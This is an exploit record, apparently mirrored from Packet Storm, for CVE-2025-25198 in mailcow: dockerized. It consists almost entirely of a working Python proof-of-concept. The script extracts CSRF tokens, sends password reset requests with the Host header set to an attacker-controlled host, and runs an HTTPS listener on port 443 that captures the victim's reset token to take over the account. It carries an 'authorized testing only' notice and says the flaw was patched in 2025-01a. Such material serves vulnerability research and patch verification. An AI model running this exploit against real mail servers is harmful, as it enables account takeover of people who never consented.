{“lastseen”:”2026-02-16T17:44:24″,”description”:”mailcow: dockerized versions prior to 2025-01a are vulnerable to Host header poisoning in the password reset workflow. The application incorrectly trusts the Host header when generating password reset links, allowing an attacker to inject an…”,”published”:”2026-02-16T00:00:00″,”modified”:”2026-02-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning”,”source”:””,”references”:””,”id”:”PACKETSTORM:215692″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-25198″],”sourceData”:”# Exploit Title: mailcow: dockerized \\u003c 2025-01a – Host Header Password Reset Poisoning (CVE-2025-25198)\\n # Google Dork: N\/A\\n # Date: 2026-02-16\\n # Exploit Author: Iam Alvarez (AKA Groppoxx \/ Maizeravla)\\n # Vendor Homepage: https:\/\/mailcow.email\\n # Software Link: https:\/\/github.com\/mailcow\/mailcow-dockerized\\n # Version: \\u003c 2025-01a\\n # Tested on: Ubuntu 22.04.5 LTS, Docker 26.1.3, Docker Compose 2.27.1; mailcow:dockerized 2025-01\\n # CVE: CVE-2025-25198\\n # PoC: https:\/\/github.com\/Groppoxx\/CVE-2025-25198-PoC.git\\n \\n # Description:\\n # A flaw in mailcow\u2019s password reset allows Host header poisoning to generate a\\n # reset link pointing to an attacker-controlled domain, potentially enabling account\\n # takeover if a user clicks the poisoned link. Patched in 2025-01a.\\n \\n # References:\\n # – NVD: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-25198\\n # – Vendor advisory: https:\/\/github.com\/mailcow\/mailcow-dockerized\/security\/advisories\/GHSA-3mvx-qw4r-fcqf\\n \\n # Impact:\\n # Account takeover via poisoned password reset link.\\n \\n # Usage (authorized testing only):\\n # sudo python3 cve_2025_25198.py \\\\\\n # –listen-host 0.0.0.0 \\\\\\n # –base-url https:\/\/mail.target.tld \\\\\\n # –username victim@target.tld \\\\\\n # –attacker-host your.ip.or.dns \\\\\\n # –http2\\n \\n # Note: The PoC sets the Host header to the attacker-controlled domain\/IP\\n # to demonstrate password reset link poisoning.\\n \\n # Requirements:\\n # Python 3.8+ ; pip install httpx (or ‘requests’ for HTTP\/1.1)\\n # openssl (to generate a self-signed cert for the local HTTPS listener)\\n \\n # Legal:\\n # For authorized security testing only. Do NOT target live websites.\\n \\n from __future__ import annotations\\n \\n import argparse\\n import http.server\\n import os\\n import re\\n import ssl\\n import subprocess\\n import sys\\n import threading\\n from datetime import datetime, timezone\\n from http import HTTPStatus\\n from http.server import SimpleHTTPRequestHandler\\n from typing import Optional, Dict, List, Tuple\\n from urllib.parse import urlparse, parse_qs\\n \\n try:\\n import requests\\n except Exception:\\n requests = None\\n \\n RESET = \\”\\\\033[0m\\”\\n BOLD = \\”\\\\033[1m\\”\\n DIM = \\”\\\\033[2m\\”\\n GREEN = \\”\\\\033[32m\\”\\n CYAN = \\”\\\\033[36m\\”\\n YELLOW = \\”\\\\033[33m\\”\\n MAGENTA = \\”\\\\033[35m\\”\\n \\n ANSI_RE = re.compile(r’\\\\x1b\\\\[[0-9;]*m’)\\n \\n def visible_len(s: str) -\\u003e int:\\n return len(ANSI_RE.sub(”, s))\\n \\n class Console:\\n def __init__(self, only_final: bool = False) -\\u003e None:\\n self.only_final = only_final\\n \\n def log(self, msg: str) -\\u003e None:\\n if self.only_final:\\n return\\n ts = datetime.now(timezone.utc).isoformat(timespec=\\”seconds\\”).replace(\\”+00:00\\”, \\”Z\\”)\\n print(f\\”{DIM}[{ts}]{RESET} {msg}\\”, flush=True)\\n \\n def banner(self, link: str, source: str = \\”response\\”) -\\u003e None:\\n host = urlparse(link).hostname or \\”\\”\\n title = f\\” {BOLD}{GREEN}RESET LINK FOUND!{RESET} {DIM}({source}){RESET}\\”\\n link_line = f\\” {CYAN}{link}{RESET}\\”\\n target_line = f\\” Target: {BOLD}{host}{RESET}\\” if host else \\”\\”\\n max_content = max(\\n visible_len(title),\\n visible_len(link_line),\\n visible_len(target_line) if host else 0\\n )\\n inner_width = max(80, min(150, max_content))\\n line = \\”\u2550\\” * inner_width\\n def box_line(content: str) -\\u003e str:\\n pad = inner_width – visible_len(content)\\n if pad \\u003c 0:\\n pad = 0\\n return f\\”{MAGENTA}\u2551{RESET}{content}{‘ ‘ * pad}{MAGENTA}\u2551{RESET}\\”\\n print(\\”\\”)\\n print(f\\”{MAGENTA}\u2554{line}\u2557{RESET}\\”)\\n print(box_line(title))\\n print(f\\”{MAGENTA}\u255f{line}\u2562{RESET}\\”)\\n print(box_line(link_line))\\n if host:\\n print(box_line(target_line))\\n print(f\\”{MAGENTA}\u255a{line}\u255d{RESET}\\”)\\n print(\\”\\”)\\n \\n console = Console(False)\\n \\n RGX_TOKEN_IN_URL = re.compile(r’reset-password\\\\?token=([^\\\\s\\”\\u0026\\\\’\\u003c\\u003e]+)’, re.I)\\n RGX_TOKEN_FALLBACK = re.compile(r’\\\\b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})\\\\b’, re.I)\\n \\n def links_from_text(html: str, base_url: str) -\\u003e List[str]:\\n if not html:\\n return []\\n out: List[str] = []\\n for m in RGX_TOKEN_IN_URL.finditer(html):\\n out.append(f\\”{base_url.rstrip(‘\/’)}\/reset-password?token={m.group(1)}\\”)\\n for m in RGX_TOKEN_FALLBACK.finditer(html):\\n cand = f\\”{base_url.rstrip(‘\/’)}\/reset-password?token={m.group(1)}\\”\\n if cand not in out:\\n out.append(cand)\\n return out\\n \\n def links_from_headers(headers: Dict[str, str], base_url: str) -\\u003e List[str]:\\n loc = headers.get(\\”Location\\”) or headers.get(\\”location\\”)\\n return links_from_text(loc, base_url) if loc else []\\n \\n class ListenerState:\\n def __init__(self) -\\u003e None:\\n self.event = threading.Event()\\n self.last_link: Optional[str] = None\\n \\n class LoggingHTTPSHandler(SimpleHTTPRequestHandler):\\n server_version = \\”PoisonedHostTest\/host-only\\”\\n error_content_type = \\”text\/plain\\”\\n \\n def log_message(self, *_: object) -\\u003e None:\\n return\\n \\n def _record(self, code: int) -\\u003e None:\\n parsed = urlparse(self.path)\\n token = parse_qs(parsed.query).get(\\”token\\”) or []\\n if token:\\n link = f\\”{self.server.target_base_url.rstrip(‘\/’)}\/reset-password?token={token[0]}\\”\\n self.server.state.last_link = link\\n self.server.state.event.set()\\n if not console.only_final:\\n console.log(f\\”{YELLOW}[HIT]{RESET} {self.command} {self.path} \u2190 {self.client_address[0]} [{code}]\\”)\\n \\n def do_GET(self) -\\u003e None:\\n if self.path.startswith(\\”\/favicon\\”):\\n self.send_response(HTTPStatus.NO_CONTENT); self.end_headers(); return\\n self.send_response(HTTPStatus.OK)\\n self.send_header(\\”Content-Type\\”, \\”text\/html; charset=utf-8\\”)\\n self.end_headers()\\n token = parse_qs(urlparse(self.path).query).get(\\”token\\”, [\\”\\”])[0]\\n body = f\\”\\u003c!doctype html\\u003e\\u003cmeta charset=utf-8\\u003e\\u003ctitle\\u003eOK\\u003c\/title\\u003e\\u003cp\\u003etoken: \\u003cb\\u003e{token}\\u003c\/b\\u003e\\u003c\/p\\u003e\\”\\n self.wfile.write(body.encode(\\”utf-8\\”))\\n self._record(HTTPStatus.OK)\\n \\n def do_POST(self) -\\u003e None:\\n _ = self.rfile.read(int(self.headers.get(\\”Content-Length\\”, \\”0\\”) or 0))\\n self.send_response(HTTPStatus.NO_CONTENT); self.end_headers()\\n self._record(HTTPStatus.NO_CONTENT)\\n \\n def ensure_self_signed(cert_file: str, key_file: str, cn: str = \\”localhost\\”, days: int = 365) -\\u003e None:\\n if os.path.exists(cert_file) and os.path.exists(key_file):\\n return\\n console.log(\\”[+] Generating self-signed certificate\u2026\\”)\\n subprocess.run([\\n \\”openssl\\”, \\”req\\”, \\”-x509\\”, \\”-newkey\\”, \\”rsa:2048\\”,\\n \\”-keyout\\”, key_file, \\”-out\\”, cert_file, \\”-days\\”, str(days),\\n \\”-nodes\\”, \\”-subj\\”, f\\”\/CN={cn}\\”\\n ], check=True)\\n \\n def require_root_for_privileged_port(port: int) -\\u003e None:\\n if port \\u003c 1024:\\n # POSIX check: require root if binding \\u003c1024\\n if hasattr(os, \\”geteuid\\”):\\n if os.geteuid() != 0:\\n print(\\”[-] Port 443 requires root. Re-run with sudo.\\”, file=sys.stderr)\\n sys.exit(2)\\n # On non-POSIX (e.g., Windows) we don’t enforce sudo.\\n \\n def start_https_listener(host: str, port: int, cert: str, key: str, base_url: str, state: ListenerState):\\n ensure_self_signed(cert, key)\\n httpd = http.server.ThreadingHTTPServer((host, port), LoggingHTTPSHandler)\\n ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\\n ctx.load_cert_chain(certfile=cert, keyfile=key)\\n httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)\\n httpd.target_base_url = base_url\\n httpd.state = state\\n threading.Thread(target=httpd.serve_forever, name=\\”https-listener\\”, daemon=True).start()\\n console.log(f\\”[+] HTTPS listener on https:\/\/{host}:{port}\\”)\\n return httpd\\n \\n def add_cookie_string_to_session(session, cookie_header: Optional[str], base_url: str) -\\u003e None:\\n if not cookie_header:\\n return\\n host = urlparse(base_url).hostname\\n for part in re.split(r’;\\\\s*|,\\\\s*’, cookie_header.strip()):\\n if not part or \\”=\\” not in part:\\n continue\\n name, val = part.split(\\”=\\”, 1)\\n try:\\n session.cookies.set(name.strip(), val.strip(), domain=host)\\n except Exception:\\n pass\\n \\n class HttpClient:\\n def __init__(self, base_url: str, use_http2: bool, cookie_header: Optional[str]) -\\u003e None:\\n self.base_url = base_url.rstrip(\\”\/\\”)\\n self.use_http2 = use_http2\\n if use_http2:\\n try:\\n import httpx\\n except Exception as e:\\n raise RuntimeError(\\”Install httpx for –http2: pip install httpx\\”) from e\\n # TLS verification disabled intentionally for testing environments\\n self.session = httpx.Client(http2=True, verify=False, timeout=20.0, follow_redirects=False)\\n else:\\n if requests is None:\\n raise RuntimeError(\\”Missing ‘requests’ for HTTP\/1.1.\\”)\\n self.session = requests.Session()\\n add_cookie_string_to_session(self.session, cookie_header, self.base_url)\\n \\n def get(self, url: str, headers: Dict[str, str], allow_redirects: bool):\\n if self.use_http2:\\n return self.session.get(url, headers=headers or {}, follow_redirects=allow_redirects)\\n # requests: disable TLS verification explicitly\\n return self.session.get(url, headers=headers or {}, verify=False, timeout=20, allow_redirects=allow_redirects)\\n \\n def post(self, url: str, headers: Dict[str, str], data: Dict[str, str], allow_redirects: bool):\\n if self.use_http2:\\n return self.session.post(url, headers=headers or {}, data=data or {}, follow_redirects=allow_redirects)\\n return self.session.post(url, headers=headers or {}, data=data or {}, verify=False, timeout=20, allow_redirects=allow_redirects)\\n \\n RGX_INPUTS = [\\n re.compile(r’name=[\\”\\\\’]csrf_token[\\”\\\\’]\\\\s+value=[\\”\\\\’]([0-9a-zA-Z_\\\\-.\/+=:]+)[\\”\\\\’]’),\\n re.compile(r’name=[\\”\\\\’]_csrf[\\”\\\\’]\\\\s+value=[\\”\\\\’]([^\\”\\\\’]+)[\\”\\\\’]’),\\n re.compile(r’name=[\\”\\\\’]csrf[\\”\\\\’]\\\\s+value=[\\”\\\\’]([^\\”\\\\’]+)[\\”\\\\’]’),\\n re.compile(r’name=[\\”\\\\’]csrf_token_reset[\\”\\\\’]\\\\s+value=[\\”\\\\’]([^\\”\\\\’]+)[\\”\\\\’]’),\\n ]\\n RGX_META = re.compile(r’\\u003cmeta\\\\s+name=[\\”\\\\’]csrf-token[\\”\\\\’]\\\\s+content=[\\”\\\\’]([^\\”\\\\’]+)[\\”\\\\’]’, re.I)\\n RGX_JS = [\\n re.compile(r’csrf_token\\\\s*[:=]\\\\s*[\\”\\\\’]([^\\”\\\\’]+)[\\”\\\\’]’, re.I),\\n re.compile(r’window\\\\.\\\\w*csrf\\\\w*\\\\s*=\\\\s*[\\”\\\\’]([^\\”\\\\’]+)[\\”\\\\’]’, re.I),\\n ]\\n COOKIE_CSRF = [\\”csrf_token\\”, \\”_csrf\\”, \\”XSRF-TOKEN\\”, \\”CSRF-TOKEN\\”]\\n HEX64 = re.compile(r’^[0-9a-f]{64}$’, re.I)\\n \\n def _csrf_candidates_html(html: str) -\\u003e List[str]:\\n if not html:\\n return []\\n cands: List[str] = []\\n for rgx in RGX_INPUTS:\\n m = rgx.search(html)\\n if m: cands.append(m.group(1))\\n m = RGX_META.search(html)\\n if m: cands.append(m.group(1))\\n for rgx in RGX_JS:\\n m = rgx.search(html)\\n if m: cands.append(m.group(1))\\n for m in re.finditer(r’csrf_token=([0-9a-zA-Z_\\\\-.\/+=:]{16,})’, html):\\n cands.append(m.group(1))\\n seen: set[str] = set()\\n out: List[str] = []\\n for v in cands:\\n if v not in seen:\\n seen.add(v); out.append(v)\\n return out\\n \\n def _csrf_from_set_cookie(headers: Dict[str, str]) -\\u003e Optional[str]:\\n sc = headers.get(\\”Set-Cookie\\”) or headers.get(\\”set-cookie\\”)\\n if not sc: return None\\n for cookie in re.split(r’,(?=\\\\s*\\\\w+=)’, sc):\\n for name in COOKIE_CSRF:\\n m = re.search(rf’\\\\b{name}=([^;,\\\\s]+)’, cookie, re.I)\\n if m: return m.group(1)\\n return None\\n \\n def _best_csrf(candidates: List[str]) -\\u003e Optional[str]:\\n if not candidates: return None\\n for c in candidates:\\n if HEX64.fullmatch(c): return c\\n return candidates[0]\\n \\n def nav_headers(base_url: str, attacker_host: str) -\\u003e Dict[str, str]:\\n return {\\n \\”User-Agent\\”: \\”Mozilla\/5.0 (X11; Linux x86_64; rv:128.0) Gecko\/20100101 Firefox\/128.0\\”,\\n \\”Accept\\”: \\”text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\\”,\\n \\”Accept-Language\\”: \\”en-US,en;q=0.5\\”,\\n \\”Accept-Encoding\\”: \\”gzip, deflate, br\\”,\\n \\”Upgrade-Insecure-Requests\\”: \\”1\\”,\\n \\”Sec-Fetch-Dest\\”: \\”document\\”,\\n \\”Sec-Fetch-Mode\\”: \\”navigate\\”,\\n \\”Sec-Fetch-Site\\”: \\”same-origin\\”,\\n \\”Sec-Fetch-User\\”: \\”?1\\”,\\n \\”Te\\”: \\”trailers\\”,\\n \\”Referer\\”: base_url.rstrip(\\”\/\\”) + \\”\/\\”,\\n \\”Origin\\”: base_url,\\n \\”Host\\”: attacker_host,\\n }\\n \\n def fetch_csrf_auto(client: HttpClient, base_url: str, attacker_host: str, username: str) -\\u003e str:\\n paths = [\\”\\”, \\”\/\\”, \\”\/index.php\\”, \\”\/reset-password\\”, \\”\/login\\”, \\”\/auth\\”, \\”\/user\/reset\\”]\\n h1 = nav_headers(base_url, attacker_host)\\n for p in paths:\\n url = client.base_url + p\\n try:\\n r = client.get(url, headers=h1, allow_redirects=True)\\n text = r.text if hasattr(r, \\”text\\”) else r.content.decode(\\”utf-8\\”, \\”ignore\\”)\\n headers = dict(getattr(r, \\”headers\\”, {}))\\n token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))\\n if token: return token\\n except Exception as e:\\n console.log(f\\”[!] CSRF GET failed at {url}: {e}\\”)\\n h2 = dict(h1); h2.pop(\\”Host\\”, None)\\n for p in paths:\\n url = client.base_url + p\\n try:\\n r = client.get(url, headers=h2, allow_redirects=True)\\n text = r.text if hasattr(r, \\”text\\”) else r.content.decode(\\”utf-8\\”, \\”ignore\\”)\\n headers = dict(getattr(r, \\”headers\\”, {}))\\n token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))\\n if token: return token\\n except Exception as e:\\n console.log(f\\”[!] CSRF GET (no Host) failed at {url}: {e}\\”)\\n pre_headers = {\\n \\”User-Agent\\”: h1[\\”User-Agent\\”], \\”Accept\\”: h1[\\”Accept\\”], \\”Accept-Language\\”: h1[\\”Accept-Language\\”],\\n \\”Content-Type\\”: \\”application\/x-www-form-urlencoded\\”, \\”Host\\”: attacker_host,\\n \\”Referer\\”: base_url.rstrip(\\”\/\\”) + \\”\/\\”, \\”Origin\\”: base_url, \\”Upgrade-Insecure-Requests\\”: \\”1\\”,\\n }\\n try:\\n r = client.post(client.base_url + \\”\/reset-password\\”, headers=pre_headers,\\n data={\\”username\\”: username, \\”pw_reset_request\\”: \\”\\”, \\”csrf_token\\”: \\”\\”}, allow_redirects=True)\\n text = r.text if hasattr(r, \\”text\\”) else r.content.decode(\\”utf-8\\”, \\”ignore\\”)\\n headers = dict(getattr(r, \\”headers\\”, {}))\\n token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))\\n if token: return token\\n except Exception as e:\\n console.log(f\\”[!] Preflight POST for CSRF failed: {e}\\”)\\n raise RuntimeError(\\”Unable to auto-extract csrf_token.\\”)\\n \\n def looks_like_csrf_error(body: str, status: int) -\\u003e bool:\\n if status in (400, 403): return True\\n text = (body or \\”\\”).lower()\\n return any(k in text for k in (\\”csrf\\”, \\”invalid token\\”, \\”expired token\\”, \\”forgery\\”, \\”bad token\\”))\\n \\n def run_sequence(client: HttpClient, base_url: str, username: str, csrf: str,\\n attacker_host: str) -\\u003e Tuple[Optional[str], Dict[str, object], str]:\\n ua = \\”Mozilla\/5.0 (X11; Linux x86_64; rv:128.0) Gecko\/20100101 Firefox\/128.0\\”\\n headers = {\\n \\”User-Agent\\”: ua,\\n \\”Accept\\”: \\”text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\\”,\\n \\”Accept-Language\\”: \\”en-US,en;q=0.5\\”,\\n \\”Content-Type\\”: \\”application\/x-www-form-urlencoded\\”,\\n \\”Host\\”: attacker_host,\\n \\”Referer\\”: base_url.rstrip(‘\/’) + \\”\/\\”,\\n \\”Origin\\”: base_url,\\n \\”Upgrade-Insecure-Requests\\”: \\”1\\”,\\n }\\n r1 = client.get(base_url, headers=headers, allow_redirects=True)\\n body1 = r1.text if hasattr(r1, \\”text\\”) else r1.content.decode(\\”utf-8\\”, \\”ignore\\”)\\n reset_ep = base_url.rstrip(\\”\/\\”) + \\”\/reset-password\\”\\n payload = {\\”username\\”: username, \\”pw_reset_request\\”: \\”\\”, \\”csrf_token\\”: csrf}\\n r2 = client.post(reset_ep, headers=headers, data=payload, allow_redirects=False)\\n body2 = r2.text if hasattr(r2, \\”text\\”) else r2.content.decode(\\”utf-8\\”, \\”ignore\\”)\\n r3 = client.get(base_url.rstrip(\\”\/\\”) + \\”\/\\”, headers=headers, allow_redirects=False)\\n body3 = r3.text if hasattr(r3, \\”text\\”) else r3.content.decode(\\”utf-8\\”, \\”ignore\\”)\\n found: List[str] = []\\n found += links_from_headers(dict(getattr(r1, \\”headers\\”, {})), base_url)\\n found += links_from_headers(dict(getattr(r2, \\”headers\\”, {})), base_url)\\n found += links_from_headers(dict(getattr(r3, \\”headers\\”, {})), base_url)\\n found += links_from_text(body1, base_url)\\n found += links_from_text(body2, base_url)\\n found += links_from_text(body3, base_url)\\n seen: set[str] = set()\\n clean = [l for l in found if not (l in seen or seen.add(l))]\\n summary = {\\n \\”get1\\”: getattr(r1, \\”status_code\\”, None),\\n \\”post\\”: getattr(r2, \\”status_code\\”, None),\\n \\”get2\\”: getattr(r3, \\”status_code\\”, None),\\n \\”links_found\\”: clean,\\n }\\n return (clean[0] if clean else None), summary, body2\\n \\n def attempt_once(base_url: str, username: str, attacker_host: str,\\n use_http2: bool,\\n cookie_header: Optional[str], csrf_override: Optional[str]) -\\u003e Tuple[Optional[str], Dict[str, object]]:\\n client = HttpClient(base_url, use_http2, cookie_header)\\n if csrf_override:\\n csrf = csrf_override\\n console.log(f\\”[+] Using provided CSRF: {csrf[:16]}\u2026\\”)\\n else:\\n csrf = fetch_csrf_auto(client, base_url, attacker_host, username)\\n console.log(f\\”[+] Auto CSRF: {csrf[:16]}\u2026\\”)\\n console.log(\\”[\\u003e] Sending sequence with poisoned Host\\”)\\n link, summary, post_body = run_sequence(client, base_url, username, csrf, attacker_host)\\n if not link:\\n post_status = int(summary.get(\\”post\\”) or 0)\\n if not csrf_override and looks_like_csrf_error(post_body, post_status):\\n console.log(\\”[!] CSRF invalid\/expired. Rotating session and retrying once\u2026\\”)\\n client = HttpClient(base_url, use_http2, None)\\n csrf2 = fetch_csrf_auto(client, base_url, attacker_host, username)\\n console.log(f\\”[+] Auto CSRF (retry): {csrf2[:16]}\u2026\\”)\\n link, summary, _ = run_sequence(client, base_url, username, csrf2, attacker_host)\\n return link, summary\\n \\n def run_until_success(listen_host: str, base_url: str, username: str,\\n attacker_host: str, use_http2: bool,\\n interval: float, max_attempts: int,\\n cookie_header: Optional[str], csrf_override: Optional[str]) -\\u003e Optional[str]:\\n # Force port 443 and require sudo\/root on POSIX\\n listen_port = 443\\n require_root_for_privileged_port(listen_port)\\n \\n state = ListenerState()\\n srv = start_https_listener(listen_host, listen_port, \\”server.pem\\”, \\”server.key\\”, base_url, state)\\n try:\\n attempt = 0\\n while True:\\n attempt += 1\\n if max_attempts and attempt \\u003e max_attempts:\\n console.log(\\”[i] Reached –max-attempts without success.\\”)\\n return None\\n try:\\n link, _summary = attempt_once(base_url, username, attacker_host, use_http2, cookie_header, csrf_override)\\n except Exception as e:\\n console.log(f\\”[!] Attempt #{attempt} error: {e}\\”)\\n link = None\\n if link:\\n console.banner(link, source=\\”response\\”)\\n return link\\n if state.event.wait(timeout=interval):\\n link = state.last_link\\n if link:\\n console.banner(link, source=\\”listener\\”)\\n return link\\n console.log(f\\”[i] Attempt #{attempt} yielded no link. Retrying in {int(interval)}s\u2026\\”)\\n except KeyboardInterrupt:\\n console.log(\\”[+] Aborted by user.\\”)\\n return None\\n finally:\\n try: srv.shutdown()\\n except Exception: pass\\n \\n def main() -\\u003e None:\\n p = argparse.ArgumentParser(\\n description=\\”Host header poisoning tester (Mailcow CVE-2025-25198) \u2014 HTTPS listener on port 443 (requires sudo\/root), auto-cookie + auto-CSRF (or –csrf), retry, Host-only\\”\\n )\\n p.add_argument(\\”–listen-host\\”, required=True)\\n p.add_argument(\\”–base-url\\”, required=True)\\n p.add_argument(\\”–username\\”, required=True)\\n p.add_argument(\\”–attacker-host\\”, required=True)\\n p.add_argument(\\”–http2\\”, action=\\”store_true\\”, help=\\”Use HTTP\/2 (recommended)\\”)\\n p.add_argument(\\”–interval\\”, type=float, default=8.0, help=\\”Seconds between attempts and click wait window\\”)\\n p.add_argument(\\”–max-attempts\\”, type=int, default=0, help=\\”0=infinite; \\u003e0 limits attempts\\”)\\n p.add_argument(\\”–cookie\\”, default=None, help=\\”(Optional) inject cookies, e.g., PHPSESSID=…\\”)\\n p.add_argument(\\”–csrf\\”, default=None, help=\\”(Optional) provide csrf_token explicitly (auto if omitted)\\”)\\n p.add_argument(\\”–only-final\\”, action=\\”store_true\\”, help=\\”Hide progress; print only the final link banner\\”)\\n \\n args = p.parse_args()\\n global console\\n console = Console(only_final=args.only_final)\\n if not args.http2 and requests is None:\\n console.log(\\”[!] Install ‘requests’ or use –http2 with ‘httpx’.\\”); sys.exit(2)\\n if not args.http2:\\n console.log(\\”[i] Running over HTTP\/1.1 (requests). For best parity, use –http2.\\”)\\n \\n link = run_until_success(\\n listen_host=args.listen_host,\\n base_url=args.base_url,\\n username=args.username,\\n attacker_host=args.attacker_host,\\n use_http2=args.http2,\\n interval=args.interval,\\n max_attempts=args.max_attempts,\\n cookie_header=args.cookie,\\n csrf_override=args.csrf,\\n )\\n if link:\\n if not args.only_final:\\n print(f\\”{BOLD}{GREEN}Success:{RESET} reset link obtained. Exiting.\\”)\\n else:\\n if not args.only_final:\\n print(\\”[i] No success (attempts exhausted or aborted).\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215692″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215692\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-16T17:44:24″,”description”:”mailcow: dockerized versions prior to 2025-01a are vulnerable to Host header poisoning in the password reset workflow. The application incorrectly trusts the Host header when…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-41063","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n